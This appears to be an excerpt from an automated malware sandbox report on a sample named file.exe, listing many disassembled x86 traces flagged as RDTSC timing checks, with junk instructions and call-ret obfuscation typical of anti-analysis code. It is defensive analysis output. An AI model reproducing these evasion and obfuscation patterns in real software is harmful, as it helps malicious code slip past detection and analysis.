Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AD91 second address: 77ADA4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F38EC75ED18h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77ADA4 second address: 77ADAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77BDEB second address: 77BDF5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F38EC75ED16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77BDF5 second address: 77BE00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F38ECB57B96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77DBDB second address: 77DC27 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jbe 00007F38EC75ED2Bh 0x0000000e jmp 00007F38EC75ED25h 0x00000013 nop 0x00000014 mov dword ptr [ebp+122D331Ah], edx 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e mov dword ptr [ebp+12474AFAh], ecx 0x00000024 push eax 0x00000025 pushad 0x00000026 jmp 00007F38EC75ED22h 0x0000002b push eax 0x0000002c push edx 0x0000002d push edi 0x0000002e pop edi 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77FBDD second address: 77FC61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F38ECB57BA3h 0x00000008 jne 00007F38ECB57B96h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F38ECB57B98h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e mov edi, dword ptr [ebp+122D3677h] 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 call 00007F38ECB57B98h 0x0000003e pop esi 0x0000003f mov dword ptr [esp+04h], esi 0x00000043 add dword ptr [esp+04h], 0000001Ch 0x0000004b inc esi 0x0000004c push esi 0x0000004d ret 0x0000004e pop esi 0x0000004f ret 0x00000050 xor dword ptr [ebp+122D1AE3h], eax 0x00000056 push 00000000h 0x00000058 xchg eax, esi 0x00000059 push ebx 0x0000005a pushad 0x0000005b jnc 00007F38ECB57B96h 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77ECF6 second address: 77ECFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 785D51 second address: 785D5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F38ECB57B96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 785D5B second address: 785DAE instructions: 0x00000000 rdtsc 0x00000002 ja 00007F38EC75ED16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov ebx, dword ptr [ebp+1246302Dh] 0x00000013 push 00000000h 0x00000015 jmp 00007F38EC75ED1Dh 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007F38EC75ED18h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 0000001Ch 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 mov ebx, 72E4A223h 0x0000003b xchg eax, esi 0x0000003c push ecx 0x0000003d push eax 0x0000003e push edx 0x0000003f push ebx 0x00000040 pop ebx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782DD9 second address: 782DDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782DDE second address: 782DE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 784DD6 second address: 784DDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786E0D second address: 786E9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38EC75ED24h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F38EC75ED25h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F38EC75ED18h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a mov ebx, 409BFC7Ah 0x0000002f push 00000000h 0x00000031 mov edi, esi 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push eax 0x00000038 call 00007F38EC75ED18h 0x0000003d pop eax 0x0000003e mov dword ptr [esp+04h], eax 0x00000042 add dword ptr [esp+04h], 00000017h 0x0000004a inc eax 0x0000004b push eax 0x0000004c ret 0x0000004d pop eax 0x0000004e ret 0x0000004f xchg eax, esi 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F38EC75ED26h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782DE4 second address: 782DE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 784DDE second address: 784E4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 xor di, 32C2h 0x0000000e push dword ptr fs:[00000000h] 0x00000015 add dword ptr [ebp+122D1AC0h], edi 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 pushad 0x00000023 mov eax, dword ptr [ebp+122D373Fh] 0x00000029 popad 0x0000002a mov eax, dword ptr [ebp+122D15EDh] 0x00000030 push 00000000h 0x00000032 push esi 0x00000033 call 00007F38EC75ED18h 0x00000038 pop esi 0x00000039 mov dword ptr [esp+04h], esi 0x0000003d add dword ptr [esp+04h], 0000001Dh 0x00000045 inc esi 0x00000046 push esi 0x00000047 ret 0x00000048 pop esi 0x00000049 ret 0x0000004a push edi 0x0000004b mov dword ptr [ebp+122D342Dh], eax 0x00000051 pop edi 0x00000052 push FFFFFFFFh 0x00000054 add dword ptr [ebp+124513DDh], eax 0x0000005a nop 0x0000005b push eax 0x0000005c push edx 0x0000005d jng 00007F38EC75ED18h 0x00000063 push eax 0x00000064 pop eax 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 785EE8 second address: 785EEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787F1C second address: 787F36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38EC75ED26h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 785EEC second address: 785EF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787F36 second address: 787F40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F38EC75ED16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787018 second address: 787022 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F38ECB57B9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 785EF2 second address: 785EF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787F40 second address: 787FAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+122D2D31h], eax 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F38ECB57B98h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 00000019h 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d mov ebx, dword ptr [ebp+122D389Fh] 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push eax 0x00000038 call 00007F38ECB57B98h 0x0000003d pop eax 0x0000003e mov dword ptr [esp+04h], eax 0x00000042 add dword ptr [esp+04h], 00000016h 0x0000004a inc eax 0x0000004b push eax 0x0000004c ret 0x0000004d pop eax 0x0000004e ret 0x0000004f mov edi, dword ptr [ebp+122D18DAh] 0x00000055 mov ebx, dword ptr [ebp+122D383Bh] 0x0000005b xchg eax, esi 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f push eax 0x00000060 pop eax 0x00000061 pushad 0x00000062 popad 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 785EF8 second address: 785EFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 785EFC second address: 785F13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F38ECB57B9Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786016 second address: 78601B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A6AB second address: 78A6B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A6B0 second address: 78A6D5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F38EC75ED29h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A6D5 second address: 78A6DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791DEC second address: 791E02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F38EC75ED21h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79190D second address: 791913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791913 second address: 791937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F38EC75ED1Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F38EC75ED1Fh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796292 second address: 7962A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F38ECB57B9Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79632D second address: 796332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7963C8 second address: 7963CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7963CC second address: 796427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edi 0x00000009 jmp 00007F38EC75ED27h 0x0000000e pop edi 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jnc 00007F38EC75ED2Fh 0x00000019 jmp 00007F38EC75ED29h 0x0000001e mov eax, dword ptr [eax] 0x00000020 pushad 0x00000021 jp 00007F38EC75ED1Ch 0x00000027 push eax 0x00000028 push edx 0x00000029 jl 00007F38EC75ED16h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7280B5 second address: 7280B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7280B9 second address: 7280D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007F38EC75ED1Ch 0x0000000e jno 00007F38EC75ED16h 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BA55 second address: 79BA5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BA5B second address: 79BA5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BA5F second address: 79BA83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38ECB57BA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jc 00007F38ECB57B96h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C2F9 second address: 79C30A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F38EC75ED1Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C6FD second address: 79C70B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C70B second address: 79C713 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C713 second address: 79C71F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F38ECB57B9Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721391 second address: 7213AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F38EC75ED1Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7213AA second address: 7213AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7213AE second address: 7213B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7213B6 second address: 7213BB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7AA8 second address: 7A7AAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A6BE4 second address: 7A6C13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38ECB57BA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007F38ECB57BA2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A6C13 second address: 7A6C2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F38EC75ED24h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A6C2D second address: 7A6C31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A6F2B second address: 7A6F40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007F38EC75ED1Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A6F40 second address: 7A6F73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38ECB57BA5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007F38ECB57BA4h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A70F8 second address: 7A70FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7273 second address: 7A7279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A626E second address: 7A6272 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AAB89 second address: 7AABA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jp 00007F38ECB57B96h 0x00000013 jne 00007F38ECB57B96h 0x00000019 jo 00007F38ECB57B96h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AABA9 second address: 7AABB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AF28F second address: 7AF293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E1F3 second address: 7531D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F38EC75ED16h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f pushad 0x00000010 adc edx, 4A4242C7h 0x00000016 xor bh, 00000024h 0x00000019 popad 0x0000001a lea eax, dword ptr [ebp+12481F8Bh] 0x00000020 sub dword ptr [ebp+122D1999h], eax 0x00000026 push eax 0x00000027 jg 00007F38EC75ED1Eh 0x0000002d jno 00007F38EC75ED18h 0x00000033 mov dword ptr [esp], eax 0x00000036 push 00000000h 0x00000038 push ecx 0x00000039 call 00007F38EC75ED18h 0x0000003e pop ecx 0x0000003f mov dword ptr [esp+04h], ecx 0x00000043 add dword ptr [esp+04h], 0000001Dh 0x0000004b inc ecx 0x0000004c push ecx 0x0000004d ret 0x0000004e pop ecx 0x0000004f ret 0x00000050 jng 00007F38EC75ED1Ch 0x00000056 mov ecx, dword ptr [ebp+122D1940h] 0x0000005c xor dh, FFFFFF94h 0x0000005f mov cx, si 0x00000062 call dword ptr [ebp+122D34FCh] 0x00000068 pushad 0x00000069 je 00007F38EC75ED1Eh 0x0000006f push edx 0x00000070 pop edx 0x00000071 push eax 0x00000072 push edx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E383 second address: 76E38D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F38ECB57B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E38D second address: 76E425 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jns 00007F38EC75ED16h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], ebx 0x0000000f or dword ptr [ebp+12464B73h], ecx 0x00000015 push dword ptr fs:[00000000h] 0x0000001c mov dword ptr [ebp+12480BBBh], edx 0x00000022 mov dword ptr fs:[00000000h], esp 0x00000029 push eax 0x0000002a and ecx, 24B25718h 0x00000030 pop ecx 0x00000031 mov dword ptr [ebp+12481FE3h], esp 0x00000037 mov edx, ecx 0x00000039 cmp dword ptr [ebp+122D3877h], 00000000h 0x00000040 jne 00007F38EC75EDB0h 0x00000046 mov cx, 959Bh 0x0000004a mov byte ptr [ebp+122D2A50h], 00000047h 0x00000051 mov edi, 60347B07h 0x00000056 mov eax, D49AA7D2h 0x0000005b mov di, 8D09h 0x0000005f nop 0x00000060 push esi 0x00000061 jmp 00007F38EC75ED27h 0x00000066 pop esi 0x00000067 push eax 0x00000068 pushad 0x00000069 jmp 00007F38EC75ED29h 0x0000006e push eax 0x0000006f push edx 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E425 second address: 76E429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E82B second address: 76E8C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38EC75ED1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 35FAFFFDh 0x00000010 sub dword ptr [ebp+122D32D8h], edx 0x00000016 call 00007F38EC75ED19h 0x0000001b jmp 00007F38EC75ED1Ch 0x00000020 push eax 0x00000021 jc 00007F38EC75ED3Dh 0x00000027 mov eax, dword ptr [esp+04h] 0x0000002b jnl 00007F38EC75ED1Ah 0x00000031 mov eax, dword ptr [eax] 0x00000033 jmp 00007F38EC75ED29h 0x00000038 mov dword ptr [esp+04h], eax 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f jnp 00007F38EC75ED16h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E98A second address: 76E98E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E9EA second address: 76E9F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E9F0 second address: 76EA2A instructions: 0x00000000 rdtsc 0x00000002 js 00007F38ECB57B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], esi 0x0000000f pushad 0x00000010 call 00007F38ECB57BA3h 0x00000015 mov si, cx 0x00000018 pop edi 0x00000019 jbe 00007F38ECB57B9Bh 0x0000001f popad 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push edi 0x00000026 pop edi 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76EA2A second address: 76EA38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38EC75ED1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76EA38 second address: 76EA3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76ED65 second address: 76ED6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76ED6A second address: 76EDB2 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F38ECB57B98h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F38ECB57B98h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 mov edx, dword ptr [ebp+122D320Bh] 0x0000002d push 00000004h 0x0000002f sub dword ptr [ebp+122D29FBh], esi 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jng 00007F38ECB57B98h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F12D second address: 76F131 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F43F second address: 76F477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 push eax 0x00000007 push ecx 0x00000008 jnc 00007F38ECB57B9Ch 0x0000000e pop ecx 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jbe 00007F38ECB57BA3h 0x00000019 jmp 00007F38ECB57B9Dh 0x0000001e mov eax, dword ptr [eax] 0x00000020 push eax 0x00000021 push edx 0x00000022 jbe 00007F38ECB57B9Ch 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F477 second address: 76F47B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
